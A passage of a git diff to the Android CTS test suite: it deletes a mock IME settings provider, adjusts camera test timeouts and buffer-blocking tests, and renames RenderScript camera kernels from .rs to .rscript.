-    public MockImeSession getMockImeSession() {
-        return mMockImeSession;
-    }
-
-    @Nullable
-    public Throwable getInitException() {
-        return mInitException;
-    }
-
-    public void assumeAvailable() {
-        if (mInitException == null) return;
-        assumeTrue("Exception setting MockingIme: " + mInitException, mInitException == null);
-    }
-}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/SettingsProvider.java b/tests/autofillservice/src/com/android/cts/mockime/SettingsProvider.java
deleted file mode 100644
index d9a565b..0000000
--- a/tests/autofillservice/src/com/android/cts/mockime/SettingsProvider.java
+++ /dev/null
@@ -1,87 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.mockime;
-
-import android.content.ContentProvider;
-import android.content.ContentValues;
-import android.database.Cursor;
-import android.net.Uri;
-import android.os.Bundle;
-
-import androidx.annotation.Nullable;
-
-/**
- * {@link ContentProvider} to receive {@link ImeSettings} via
- * {@link ContentProvider#call(String, String, String, Bundle)}.
- */
-public class SettingsProvider extends ContentProvider {
-
-    static final Uri AUTHORITY = Uri.parse("content://com.android.cts.mockime.provider");
-
-    @Nullable
-    private static ImeSettings sSettings = null;
-
-    @Override
-    public boolean onCreate() {
-        return true;
-    }
-
-    @Override
-    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
-            String sortOrder) {
-        return null;
-    }
-
-    @Override
-    public String getType(Uri uri) {
-        return null;
-    }
-
-    @Override
-    public Uri insert(Uri uri, ContentValues values) {
-        return null;
-    }
-
-    @Override
-    public int delete(Uri uri, String selection, String[] selectionArgs) {
-        return 0;
-    }
-
-    @Override
-    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
-        return 0;
-    }
-
-    @Override
-    public Bundle call(String method, String arg, Bundle extras) {
-        if ("write".equals(method)) {
-            sSettings = null;
-            final String callingPackageName = getCallingPackage();
-            if (callingPackageName == null) {
-                throw new SecurityException("Failed to obtain the calling package name.");
-            }
-            sSettings = new ImeSettings(callingPackageName, extras);
-        } else if ("delete".equals(method)) {
-            sSettings = null;
-        }
-        return Bundle.EMPTY;
-    }
-
-    static ImeSettings getSettings() {
-        return sSettings;
-    }
-}
diff --git a/tests/backup/AndroidTest.xml b/tests/backup/AndroidTest.xml
index 9b6ab65..8e0bfa0 100644
--- a/tests/backup/AndroidTest.xml
+++ b/tests/backup/AndroidTest.xml
@@ -17,11 +17,6 @@
 <configuration description="Config for CTS Backup test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="backup" />
-    
-    <target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
-        <option name="user-type" value="system" />
-    </target_preparer>
-
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsFullBackupApp.apk" />
diff --git a/tests/camera/AndroidTest.xml b/tests/camera/AndroidTest.xml
index b2b6695..2a2cdc9 100644
--- a/tests/camera/AndroidTest.xml
+++ b/tests/camera/AndroidTest.xml
@@ -23,7 +23,7 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.camera.cts" />
         <option name="runtime-hint" value="12m7s" />
-        <!-- test-timeout unit is ms, value = 300 min -->
-        <option name="test-timeout" value="18000000" />
+        <!-- test-timeout unit is ms, value = 200 min -->
+        <option name="test-timeout" value="12000000" />
     </test>
 </configuration>
diff --git a/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java b/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
index 9bdb898..7e18b98 100644
--- a/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
@@ -54,7 +54,7 @@
     private static final String TAG = "MultiViewTest";
     private final static long WAIT_FOR_COMMAND_TO_COMPLETE = 5000; //ms
     private final static long PREVIEW_TIME_MS = 2000;
-    private final static int NUM_SURFACE_SWITCHES = 10;
+    private final static int NUM_SURFACE_SWITCHES = 30;
     private final static int IMG_READER_COUNT = 2;
     private final static int YUV_IMG_READER_COUNT = 3;
 
@@ -508,7 +508,9 @@
                 if ((yuvFormat != -1) && (frameSize.getWidth() > 0) &&
                         (frameSize.getHeight() > 0)) {
                     testSharedSurfaceYUVImageReaderSwitch(cameraId, NUM_SURFACE_SWITCHES, yuvFormat,
-                            frameSize);
+                            frameSize, /*blockMaxAcquired*/ false);
+                    testSharedSurfaceYUVImageReaderSwitch(cameraId, NUM_SURFACE_SWITCHES, yuvFormat,
+                            frameSize, /*blockMaxAcquired*/ true);
                 } else {
                     Log.i(TAG, "Camera " + cameraId +
                             " does not support YUV outputs, skipping");
@@ -521,7 +523,7 @@
     }
 
     private void testSharedSurfaceYUVImageReaderSwitch(String cameraId, int switchCount, int format,
-            Size frameSize) throws Exception {
+            Size frameSize, boolean blockMaxAcquired) throws Exception {
 
         assertTrue("YUV_IMG_READER_COUNT should be equal or greater than 2",
                 (YUV_IMG_READER_COUNT >= 2));
@@ -552,6 +554,11 @@
         // Test YUV ImageReader surface sharing. The first ImageReader will
         // always be part of the capture request, the rest will switch on each
         // iteration.
+        // If 'blockMaxAcquired' is enabled, the first image reader will acquire
+        // the maximum possible amount of buffers and also block a few more.
+        int maxAcquiredImages = imageReaders[0].getMaxImages();
+        int acquiredCount = 0;
+        Image[] acquiredImages = new Image[maxAcquiredImages];
         for (int j = 0; j < switchCount; j++) {
             for (int i = 1; i < YUV_IMG_READER_COUNT; i++) {
                 outputConfig.addSurface(readerSurfaces[i]);
@@ -559,17 +566,34 @@
                 CaptureRequest.Builder imageReaderRequestBuilder = getCaptureBuilder(cameraId,
                         CameraDevice.TEMPLATE_PREVIEW);
                 imageReaderRequestBuilder.addTarget(readerSurfaces[i]);
-                imageReaderRequestBuilder.addTarget(readerSurfaces[0]);
+                if (blockMaxAcquired) {
+                    if (acquiredCount <= (maxAcquiredImages + 1)) {
+                        // Camera should be able to handle cases where
+                        // one output blocks more buffers than the respective
+                        // maximum acquired count.
+                        imageReaderRequestBuilder.addTarget(readerSurfaces[0]);
+                    }
+                } else {
+                    imageReaderRequestBuilder.addTarget(readerSurfaces[0]);
+                }
                 capture(cameraId, imageReaderRequestBuilder.build(), resultListener);
                 imageListeners[i].waitForAnyImageAvailable(PREVIEW_TIME_MS);
                 Image img = imageReaders[i].acquireLatestImage();
                 assertNotNull("Invalid image acquired!", img);
                 assertNotNull("Image planes are invalid!", img.getPlanes());
                 img.close();
-                imageListeners[0].waitForAnyImageAvailable(PREVIEW_TIME_MS);
-                img = imageReaders[0].acquireLatestImage();
-                assertNotNull("Invalid image acquired!", img);
-                img.close();
+                if (blockMaxAcquired) {
+                    if (acquiredCount < maxAcquiredImages) {
+                        imageListeners[0].waitForAnyImageAvailable(PREVIEW_TIME_MS);
+                        acquiredImages[acquiredCount] = imageReaders[0].acquireNextImage();
+                    }
+                    acquiredCount++;
+                } else {
+                    imageListeners[0].waitForAnyImageAvailable(PREVIEW_TIME_MS);
+                    img = imageReaders[0].acquireLatestImage();
+                    assertNotNull("Invalid image acquired!", img);
+                    img.close();
+                }
                 outputConfig.removeSurface(readerSurfaces[i]);
                 updateOutputConfiguration(cameraId, outputConfig);
             }
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index 84a22d7..955cfa2 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -1378,12 +1378,13 @@
             Size[] jpegSizes = sm.getJpegOutputSizesChecked();
             Size[] rawSizes = sm.getRawOutputSizesChecked();
 
+            Size maxPreviewSize = getMaxPreviewSize(context, cameraId);
+
             maxRawSize = (rawSizes.length != 0) ? CameraTestUtils.getMaxSize(rawSizes) : null;
 
             StreamConfigurationMap configs = sm.getCharacteristics().get(
                     CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
             if (sm.isColorOutputSupported()) {
-                Size maxPreviewSize = getMaxPreviewSize(context, cameraId);
                 maxPrivSizes[PREVIEW] = getMaxSize(privSizes, maxPreviewSize);
                 maxYuvSizes[PREVIEW]  = getMaxSize(yuvSizes, maxPreviewSize);
                 maxJpegSizes[PREVIEW] = getMaxSize(jpegSizes, maxPreviewSize);
diff --git a/tests/camera/src/android/hardware/camera2/cts/common.rs b/tests/camera/src/android/hardware/camera2/cts/common.rscript
similarity index 100%
rename from tests/camera/src/android/hardware/camera2/cts/common.rs
rename to tests/camera/src/android/hardware/camera2/cts/common.rscript
diff --git a/tests/camera/src/android/hardware/camera2/cts/crop_yuvf_420_to_yuvx_444.rs b/tests/camera/src/android/hardware/camera2/cts/crop_yuvf_420_to_yuvx_444.rs
deleted file mode 100644
index f930f58..0000000
--- a/tests/camera/src/android/hardware/camera2/cts/crop_yuvf_420_to_yuvx_444.rs
+++ /dev/null
@@ -1,37 +0,0 @@
-/*
- * Copyright 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include "common.rs"
-
-// Must be YUV 420 888 (flexible YUV)
-rs_allocation mInput;
-
-// Input globals
-uint32_t src_x;
-uint32_t src_y;
-
-// Crop each pixel from mInput
-yuvx_444 RS_KERNEL crop(uint32_t x, uint32_t y) {
-
-    uchar py = rsGetElementAtYuv_uchar_Y(mInput, x + src_x, y + src_y);
-    uchar pu = rsGetElementAtYuv_uchar_U(mInput, x + src_x, y + src_y);
-    uchar pv = rsGetElementAtYuv_uchar_V(mInput, x + src_x, y + src_y);
-
-    yuvx_444 yuv = { py, pu, pv };
-
-    return yuv;
-}
-
diff --git a/tests/camera/src/android/hardware/camera2/cts/crop_yuvf_420_to_yuvx_444.rscript b/tests/camera/src/android/hardware/camera2/cts/crop_yuvf_420_to_yuvx_444.rscript
new file mode 100644
index 0000000..31aac46
--- /dev/null
+++ b/tests/camera/src/android/hardware/camera2/cts/crop_yuvf_420_to_yuvx_444.rscript
@@ -0,0 +1,37 @@
+/*
+ * Copyright 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "common.rscript"
+
+// Must be YUV 420 888 (flexible YUV)
+rs_allocation mInput;
+
+// Input globals
+uint32_t src_x;
+uint32_t src_y;
+
+// Crop each pixel from mInput
+yuvx_444 RS_KERNEL crop(uint32_t x, uint32_t y) {
+
+    uchar py = rsGetElementAtYuv_uchar_Y(mInput, x + src_x, y + src_y);
+    uchar pu = rsGetElementAtYuv_uchar_U(mInput, x + src_x, y + src_y);
+    uchar pv = rsGetElementAtYuv_uchar_V(mInput, x + src_x, y + src_y);
+
+    yuvx_444 yuv = { py, pu, pv };
+
+    return yuv;
+}
+
diff --git a/tests/camera/src/android/hardware/camera2/cts/means_yuvx_444_1d_to_single.rs b/tests/camera/src/android/hardware/camera2/cts/means_yuvx_444_1d_to_single.rs
deleted file mode 100644
index 052052f..0000000
--- a/tests/camera/src/android/hardware/camera2/cts/means_yuvx_444_1d_to_single.rs
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include "common.rs"
-
-// #define LOG_DEBUG 1
-
-// Must be yuvx_444 (interleaved yuv)
-rs_allocation mInput;
-
-uint32_t width;
-float inv_width; // must be set to 1/w
-
-// Average 1D array -> Single element
-// Input: mInput must be yuvx_444
-yuvx_444 RS_KERNEL means_yuvx_444(void) {
-
-    uint3 sum  = { 0, 0, 0 };
-
-    LOGD("width", width);
-
-    for (uint32_t i = 0; i < width; ++i) {
-        yuvx_444 elem = rsGetElementAt_yuvx_444(mInput, i);
-
-        LOGD("elem", elem);
-        LOGD("i", i);
-
-        sum.x += elem.x;
-        sum.y += elem.y;
-        sum.z += elem.z;
-    }
-
-    sum.x *= inv_width; // multiply by 1/w
-    sum.y *= inv_width; // multiply by 1/w
-    sum.z *= inv_width; // multiply by 1/w
-
-    yuvx_444 avg = convert_yuvx_444(sum);
-
-    return avg;
-}
-
diff --git a/tests/camera/src/android/hardware/camera2/cts/means_yuvx_444_1d_to_single.rscript b/tests/camera/src/android/hardware/camera2/cts/means_yuvx_444_1d_to_single.rscript
new file mode 100644
index 0000000..45b43c5
--- /dev/null
+++ b/tests/camera/src/android/hardware/camera2/cts/means_yuvx_444_1d_to_single.rscript
@@ -0,0 +1,54 @@
+/*
+ * Copyright 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "common.rscript"
+
+// #define LOG_DEBUG 1
+
+// Must be yuvx_444 (interleaved yuv)
+rs_allocation mInput;
+
+uint32_t width;
+float inv_width; // must be set to 1/w
+
+// Average 1D array -> Single element
+// Input: mInput must be yuvx_444
+yuvx_444 RS_KERNEL means_yuvx_444(void) {
+
+    uint3 sum  = { 0, 0, 0 };
+
+    LOGD("width", width);
+
+    for (uint32_t i = 0; i < width; ++i) {
+        yuvx_444 elem = rsGetElementAt_yuvx_444(mInput, i);
+
+        LOGD("elem", elem);
+        LOGD("i", i);
+
+        sum.x += elem.x;
+        sum.y += elem.y;
+        sum.z += elem.z;
+    }
+
+    sum.x *= inv_width; // multiply by 1/w
+    sum.y *= inv_width; // multiply by 1/w
+    sum.z *= inv_width; // multiply by 1/w
+
+    yuvx_444 avg = convert_yuvx_444(sum);
+
+    return avg;
+}
+
diff --git a/tests/camera/src/android/hardware/camera2/cts/means_yuvx_444_2d_to_1d.rs b/tests/camera/src/android/hardware/camera2/cts/means_yuvx_444_2d_to_1d.rs
deleted file mode 100644
index 7dc4e0d..0000000
--- a/tests/camera/src/android/hardware/camera2/cts/means_yuvx_444_2d_to_1d.rs
+++ /dev/null
@@ -1,86 +0,0 @@
-/*
- * Copyright 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include "common.rs"
-
-// #define LOG_DEBUG 1
-
-// Must be YUV 420 888 (flexible YUV)
-rs_allocation mInput;
-
-uint32_t width;
-float inv_width; // 1/w
-uint32_t src_x; // x-offset from mInput
-uint32_t src_y; // y-offset from mInput
-
-// Average a 2D array -> 1D array (by each row)
-// Input: mInput must be yuvf_420
-yuvx_444 RS_KERNEL means_yuvf_420(uint32_t x) {
-
-    LOGD("x", x);
-
-    uint3 sum = { 0, 0, 0 };
-
-    for (uint32_t i = 0; i < width; ++i) {
-        uchar py = rsGetElementAtYuv_uchar_Y(mInput, src_x + i, src_y + x);
-        uchar pu = rsGetElementAtYuv_uchar_U(mInput, src_x + i, src_y + x);
-        uchar pv = rsGetElementAtYuv_uchar_V(mInput, src_x + i, src_y + x);
-
-        yuvx_444 elem = { py, pu, pv };
-
-        LOGD("elem", elem);
-
-        sum.x += elem.x;
-        sum.y += elem.y;
-        sum.z += elem.z;
-    }
-
-    sum.x *= inv_width; // multiply by 1/w
-    sum.y *= inv_width; // multiply by 1/w
-    sum.z *= inv_width; // multiply by 1/w
-
-    yuvx_444 avg = convert_yuvx_444(sum);
-
-    return avg;
-}
-
-// Average a 2D array -> 1D array (by each row)
-// Input: mInput must be yuvx_444
-yuvx_444 RS_KERNEL means_yuvx_444(uint32_t x) {
-
-    LOGD("x", x);
-
-    uint3 sum = { 0, 0, 0 };
-
-    for (uint32_t i = 0; i < width; ++i) {
-        yuvx_444 elem = rsGetElementAt_yuvx_444(mInput, src_x + i, src_y + x);
-
-        LOGD("elem", elem);
-
-        sum.x += elem.x;
-        sum.y += elem.y;
-        sum.z += elem.z;
-    }
-
-    sum.x *= inv_width; // multiply by 1/w
-    sum.y *= inv_width; // multiply by 1/w
-    sum.z *= inv_width; // multiply by 1/w
-
-    yuvx_444 avg = convert_yuvx_444(sum);
-
-    return avg;
-}
-
diff --git a/tests/camera/src/android/hardware/camera2/cts/means_yuvx_444_2d_to_1d.rscript b/tests/camera/src/android/hardware/camera2/cts/means_yuvx_444_2d_to_1d.rscript
new file mode 100644
index 0000000..a42e84d
--- /dev/null
+++ b/tests/camera/src/android/hardware/camera2/cts/means_yuvx_444_2d_to_1d.rscript
@@ -0,0 +1,86 @@
+/*
+ * Copyright 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "common.rscript"
+
+// #define LOG_DEBUG 1
+
+// Must be YUV 420 888 (flexible YUV)
+rs_allocation mInput;
+
+uint32_t width;
+float inv_width; // 1/w
+uint32_t src_x; // x-offset from mInput
+uint32_t src_y; // y-offset from mInput
+
+// Average a 2D array -> 1D array (by each row)
+// Input: mInput must be yuvf_420
+yuvx_444 RS_KERNEL means_yuvf_420(uint32_t x) {
+
+    LOGD("x", x);
+
+    uint3 sum = { 0, 0, 0 };
+
+    for (uint32_t i = 0; i < width; ++i) {
+        uchar py = rsGetElementAtYuv_uchar_Y(mInput, src_x + i, src_y + x);
+        uchar pu = rsGetElementAtYuv_uchar_U(mInput, src_x + i, src_y + x);
+        uchar pv = rsGetElementAtYuv_uchar_V(mInput, src_x + i, src_y + x);
+
+        yuvx_444 elem = { py, pu, pv };
+
+        LOGD("elem", elem);
+
+        sum.x += elem.x;
+        sum.y += elem.y;
+        sum.z += elem.z;
+    }
+
+    sum.x *= inv_width; // multiply by 1/w
+    sum.y *= inv_width; // multiply by 1/w
+    sum.z *= inv_width; // multiply by 1/w
+
+    yuvx_444 avg = convert_yuvx_444(sum);
+
+    return avg;
+}
+
+// Average a 2D array -> 1D array (by each row)
+// Input: mInput must be yuvx_444
+yuvx_444 RS_KERNEL means_yuvx_444(uint32_t x) {
+
+    LOGD("x", x);
+
+    uint3 sum = { 0, 0, 0 };
+
+    for (uint32_t i = 0; i < width; ++i) {
+        yuvx_444 elem = rsGetElementAt_yuvx_444(mInput, src_x + i, src_y + x);
+
+        LOGD("elem", elem);
+
+        sum.x += elem.x;
+        sum.y += elem.y;
+        sum.z += elem.z;
+    }
+
+    sum.x *= inv_width; // multiply by 1/w
+    sum.y *= inv_width; // multiply by 1/w
+    sum.z *= inv_width; // multiply by 1/w
+
+    yuvx_444 avg = convert_yuvx_444(sum);
+
+    return avg;
+}
+
diff --git a/tests/camera/src/android/hardware/camera2/cts/rs/raw_converter.rs b/tests/camera/src/android/hardware/camera2/cts/rs/raw_converter.rs
deleted file mode 100644
index fb467bb..0000000
--- a/tests/camera/src/android/hardware/camera2/cts/rs/raw_converter.rs
+++ /dev/null
@@ -1,372 +0,0 @@
-/*
- * Copyright 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include "../common.rs"
-
-// This file includes a conversion kernel for RGGB, GRBG, GBRG, and BGGR Bayer patterns.
-// Applying this script also will apply black-level subtraction, rescaling, clipping, tonemapping,
-// and color space transforms along with the Bayer demosaic.  See RawConverter.java
-// for more information.
-
-// Input globals
-
-rs_allocation inputRawBuffer; // RAW16 buffer of dimensions (raw image stride) * (raw image height)
-rs_allocation gainMap; // Gainmap to apply to linearized raw sensor data.
-uint cfaPattern; // The Color Filter Arrangement pattern used
-uint gainMapWidth;  // The width of the gain map
-uint gainMapHeight;  // The height of the gain map
-bool hasGainMap; // Does gainmap exist?
-rs_matrix3x3 sensorToIntermediate; // Color transform from sensor to a wide-gamut colorspace
-rs_matrix3x3 intermediateToSRGB; // Color transform from wide-gamut colorspace to sRGB
-ushort4 blackLevelPattern; // Blacklevel to subtract for each channel, given in CFA order
-int whiteLevel;  // Whitelevel of sensor
-uint offsetX; // X offset into inputRawBuffer
-uint offsetY; // Y offset into inputRawBuffer
-uint rawWidth; // Width of raw buffer
-uint rawHeight; // Height of raw buffer
-float3 neutralPoint; // The camera neutral
-float4 toneMapCoeffs; // Coefficients for a polynomial tonemapping curve
-
-// Interpolate gain map to find per-channel gains at a given pixel
-static float4 getGain(uint x, uint y) {
-    float interpX = (((float) x) / rawWidth) * gainMapWidth;
-    float interpY = (((float) y) / rawHeight) * gainMapHeight;
-    uint gX = (uint) interpX;
-    uint gY = (uint) interpY;
-    uint gXNext = (gX + 1 < gainMapWidth) ? gX + 1 : gX;
-    uint gYNext = (gY + 1 < gainMapHeight) ? gY + 1 : gY;
-
-    float4 tl = *((float4 *) rsGetElementAt(gainMap, gX, gY));
-    float4 tr = *((float4 *) rsGetElementAt(gainMap, gXNext, gY));
-    float4 bl = *((float4 *) rsGetElementAt(gainMap, gX, gYNext));
-    float4 br = *((float4 *) rsGetElementAt(gainMap, gXNext, gYNext));
-
-    float fracX = interpX - (float) gX;
-    float fracY = interpY - (float) gY;
-    float invFracX = 1.f - fracX;
-    float invFracY = 1.f - fracY;
-
-    return tl * invFracX * invFracY + tr * fracX * invFracY +
-            bl * invFracX * fracY + br * fracX * fracY;
-}
-
-// Apply gamma correction using sRGB gamma curve
-static float gammaEncode(float x) {
-    return (x <= 0.0031308f) ? x * 12.92f : 1.055f * pow(x, 0.4166667f) - 0.055f;
-}
-
-// Apply gamma correction to each color channel in RGB pixel
-static float3 gammaCorrectPixel(float3 rgb) {
-    float3 ret;
-    ret.x = gammaEncode(rgb.x);
-    ret.y = gammaEncode(rgb.y);
-    ret.z = gammaEncode(rgb.z);
-    return ret;
-}
-
-// Apply polynomial tonemapping curve to each color channel in RGB pixel.
-// This attempts to apply tonemapping without changing the hue of each pixel,
-// i.e.:
-//
-// For some RGB values:
-// M = max(R, G, B)
-// m = min(R, G, B)
-// m' = mid(R, G, B)
-// chroma = M - m
-// H = m' - m / chroma
-//
-// The relationship H=H' should be preserved, where H and H' are calculated from
-// the RGB and RGB' value at this pixel before and after this tonemapping
-// operation has been applied, respectively.
-static float3 tonemap(float3 rgb) {
-    float3 sorted = clamp(rgb, 0.f, 1.f);
-    float tmp;
-    int permutation = 0;
-
-    // Sort the RGB channels by value
-    if (sorted.z < sorted.y) {
-        tmp = sorted.z;
-        sorted.z = sorted.y;
-        sorted.y = tmp;
-        permutation |= 1;
-    }
-    if (sorted.y < sorted.x) {
-        tmp = sorted.y;
-        sorted.y = sorted.x;
-        sorted.x = tmp;
-        permutation |= 2;
-    }
-    if (sorted.z < sorted.y) {
-        tmp = sorted.z;
-        sorted.z = sorted.y;
-        sorted.y = tmp;
-        permutation |= 4;
-    }
-
-    float2 minmax;
-    minmax.x = sorted.x;
-    minmax.y = sorted.z;
-
-    // Apply tonemapping curve to min, max RGB channel values
-    minmax = native_powr(minmax, 3.f) * toneMapCoeffs.x +
-            native_powr(minmax, 2.f) * toneMapCoeffs.y +
-            minmax * toneMapCoeffs.z + toneMapCoeffs.w;
-
-    // Rescale middle value
-    float newMid;
-    if (sorted.z == sorted.x) {
-        newMid = minmax.y;
-    } else {
-        newMid = minmax.x + ((minmax.y - minmax.x) * (sorted.y - sorted.x) /
-                (sorted.z - sorted.x));
-    }
-
-    float3 finalRGB;
-    switch (permutation) {
-        case 0: // b >= g >= r
-            finalRGB.x = minmax.x;
-            finalRGB.y = newMid;
-            finalRGB.z = minmax.y;
-            break;
-        case 1: // g >= b >= r
-            finalRGB.x = minmax.x;
-            finalRGB.z = newMid;
-            finalRGB.y = minmax.y;
-            break;
-        case 2: // b >= r >= g
-            finalRGB.y = minmax.x;
-            finalRGB.x = newMid;
-            finalRGB.z = minmax.y;
-            break;
-        case 3: // g >= r >= b
-            finalRGB.z = minmax.x;
-            finalRGB.x = newMid;
-            finalRGB.y = minmax.y;
-            break;
-        case 6: // r >= b >= g
-            finalRGB.y = minmax.x;
-            finalRGB.z = newMid;
-            finalRGB.x = minmax.y;
-            break;
-        case 7: // r >= g >= b
-            finalRGB.z = minmax.x;
-            finalRGB.y = newMid;
-            finalRGB.x = minmax.y;
-            break;
-        case 4: // impossible
-        case 5: // impossible
-        default:
-            finalRGB.x = 0.f;
-            finalRGB.y = 0.f;
-            finalRGB.z = 0.f;
-            LOGD("raw_converter.rs: Logic error in tonemap.", 0);
-            break;
-    }
-    return clamp(finalRGB, 0.f, 1.f);
-}
-
-// Apply a colorspace transform to the intermediate colorspace, apply
-// a tonemapping curve, apply a colorspace transform to a final colorspace,
-// and apply a gamma correction curve.
-static float3 applyColorspace(float3 pRGB) {
-    pRGB.x = clamp(pRGB.x, 0.f, neutralPoint.x);
-    pRGB.y = clamp(pRGB.y, 0.f, neutralPoint.y);
-    pRGB.z = clamp(pRGB.z, 0.f, neutralPoint.z);
-
-    float3 intermediate = rsMatrixMultiply(&sensorToIntermediate, pRGB);
-    intermediate = tonemap(intermediate);
-    return gammaCorrectPixel(clamp(rsMatrixMultiply(&intermediateToSRGB, intermediate), 0.f, 1.f));
-}
-
-// Load a 3x3 patch of pixels into the output.
-static void load3x3(uint x, uint y, rs_allocation buf, /*out*/float* outputArray) {
-    outputArray[0] = *((ushort *) rsGetElementAt(buf, x - 1, y - 1));
-    outputArray[1] = *((ushort *) rsGetElementAt(buf, x, y - 1));
-    outputArray[2] = *((ushort *) rsGetElementAt(buf, x + 1, y - 1));
-    outputArray[3] = *((ushort *) rsGetElementAt(buf, x - 1, y));
-    outputArray[4] = *((ushort *) rsGetElementAt(buf, x, y));
-    outputArray[5] = *((ushort *) rsGetElementAt(buf, x + 1, y));
-    outputArray[6] = *((ushort *) rsGetElementAt(buf, x - 1, y + 1));
-    outputArray[7] = *((ushort *) rsGetElementAt(buf, x, y + 1));
-    outputArray[8] = *((ushort *) rsGetElementAt(buf, x + 1, y + 1));
-}
-
-// Blacklevel subtract, and normalize each pixel in the outputArray, and apply the
-// gain map.
-static void linearizeAndGainmap(uint x, uint y, ushort4 blackLevel, int whiteLevel,
-        uint cfa, /*inout*/float* outputArray) {
-    uint kk = 0;
-    for (uint j = y - 1; j <= y + 1; j++) {
-        for (uint i = x - 1; i <= x + 1; i++) {
-            uint index = (i & 1) | ((j & 1) << 1);  // bits [0,1] are blacklevel offset
-            index |= (cfa << 2);  // bits [2,3] are cfa
-            float bl = 0.f;
-            float g = 1.f;
-            float4 gains = 1.f;
-            if (hasGainMap) {
-                gains = getGain(i, j);
-            }
-            switch (index) {
-                // RGGB
-                case 0:
-                    bl = blackLevel.x;
-                    g = gains.x;
-                    break;
-                case 1:
-                    bl = blackLevel.y;
-                    g = gains.y;
-                    break;
-                case 2:
-                    bl = blackLevel.z;
-                    g = gains.z;
-                    break;
-                case 3:
-                    bl = blackLevel.w;
-                    g = gains.w;
-                    break;
-                // GRBG
-                case 4:
-                    bl = blackLevel.x;
-                    g = gains.y;
-                    break;
-                case 5:
-                    bl = blackLevel.y;
-                    g = gains.x;
-                    break;
-                case 6:
-                    bl = blackLevel.z;
-                    g = gains.w;
-                    break;
-                case 7:
-                    bl = blackLevel.w;
-                    g = gains.z;
-                    break;
-                // GBRG
-                case 8:
-                    bl = blackLevel.x;
-                    g = gains.y;
-                    break;
-                case 9:
